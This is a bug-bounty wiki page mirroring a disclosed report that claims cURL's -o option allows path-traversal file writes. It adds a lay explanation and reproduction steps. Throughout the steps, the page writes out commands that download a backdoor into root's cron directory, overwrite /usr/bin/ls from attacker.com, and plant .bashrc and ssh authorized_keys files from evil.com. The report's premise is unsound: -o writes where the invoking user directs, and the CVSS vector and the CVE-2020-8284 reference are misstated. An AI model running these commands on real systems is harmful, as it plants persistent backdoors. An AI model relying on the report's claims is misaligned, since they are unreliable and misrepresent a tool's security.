Skip to content
Path traversal Disclosed report Beginner CVE-2020-8284

[High] Arbitrary File Write via Path Traversal in cURL CLI (`-o`, `--output`) (CWE-22: Improper Limitation of a Pathname to a Restricted Directory)

cURL's -o/--output option does not validate or normalise paths, so traversal sequences can write outside the intended directory, overwriting sensitive files and enabling code execution in privileged or automated environments.

oicus Follow

Originally disclosed on HackerOne

  • Disclosed after 2 months

Summary:

The -o / --output parameter in cURL does not restrict or sanitize file paths. When passed relative traversal sequences (e.g., ../../), cURL writes files outside the current working directory, allowing arbitrary file overwrite. In automated or privileged environments (CI/CD, root containers), this leads to Remote Code Execution (RCE), privilege escalation, and supply chain risk. This behavior violates path safety expectations when cURL is embedded in scripts or run with elevated privileges.

Affected version

Affected Asset Component: cURL CLI Versions Affected: cURL 7.64.0 to 8.4.0 (Tested on 7.64.0, 7.79.1, 7.85.0, 8.4.0) Tested Platforms: Linux (Debian), macOS, Alpine (Docker) Latest Tested:

curl 7.85.0 (x86_64-pc-linux-gnu) libcurl/7.85.0 OpenSSL/3.0.2 Technical Root Cause

// File: src/tool_cfgable.c (Line ~512) getstr(&config->output, nextarg, DENY_BLANK); // CWE-22: No validation/sanitization

No normalization is performed (realpath() is unused), and cURL allows any relative/absolute path. This creates a write primitive into sensitive areas (e.g., /etc/, $HOME/.ssh/, ~/.bashrc).

Steps To Reproduce:

Prerequisites File target is writable by the current user (or use root to show full impact).

Can be automated or scripted without user interaction.

Exploit 1.Start a web server:

python3 -m http.server 8000

2.Run vulnerable cURL:

sudo curl http://localhost:8000/backdoor.sh -o "../../etc/cron.daily/zzz-backdoor"

3.Check the result:

ls -l /etc/cron.daily/zzz-backdoor cat /etc/cron.daily/zzz-backdoor

On next cron run, zzz-backdoor is executed with root privileges. Docker Container (Privileged):

docker run --privileged alpine sh -c 'curl http://attacker.com/x.sh -o /usr/bin/ls'

CI/CD Pipeline (Supply Chain Injection): script:

User-Level Exploits: curl http://evil.com -o "/.bashrc" curl http://evil.com/key.pub -o "/.ssh/authorized_keys"

CVSS v3.1 Base Score: 7.8 (High) AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

Mitigation & Recommendation Fix Suggestion Normalize and validate paths before writing:

char *resolved = realpath(nextarg, NULL); if (!resolved || strstr(resolved, "..") != NULL || !is_subdir(resolved, safe_dir)) { warnf(config, "Unsafe output path blocked"); return PARAM_BAD_USE; } Supporting Evidence Source Reference: src/tool_cfgable.c#L512 Similar CVE: CVE-2020-8284 (cURL FTP Path Traversal, fixed in 7.73.0) CWE: CWE-22

Impact

| Vector | Description |

| Arbitrary File Write | Overwrite any file accessible by user | | Privilege Escalation | Overwrite /etc/sudoers, /etc/passwd, or root-owned cron jobs | | RCE / Persistence | Backdoor via login scripts, bashrc, or CI/CD config overwrite | | Supply Chain Injection | Scripted or container-based installs auto-run attacker's payloads

The original report as published on HackerOne, by oicus. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the output path is taken directly from user input without normalisation or a check that it stays within a safe directory.

Impact

An attacker could overwrite any file writable by the user running cURL, potentially leading to privilege escalation, remote code execution, or supply chain injection in automated environments.

What the attacker needed

CURL is run with a path controlled by an attacker; The target file is writable by the user running cURL; Often requires elevated privileges or automated execution

The fix

The tool should normalise and validate the output path, rejecting paths that contain traversal sequences or that resolve outside a safe directory.

How it was found

  1. Start a simple web server serving a malicious script.
  2. Run cURL with the -o option pointing to a path that traverses out of the current directory, such as a cron directory.
  3. Verify that the file was written to the target location.
  4. Wait for the scheduled task (cron) to execute the file with elevated privileges.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

cURL is a tool for downloading files from the internet. Its -o option lets you choose where to save the file, but it does not check that the location is safe. If a script or a privileged user runs cURL with a malicious path, an attacker could overwrite important system files and take control of the machine.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by oicus

View all

1 more disclosed report, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.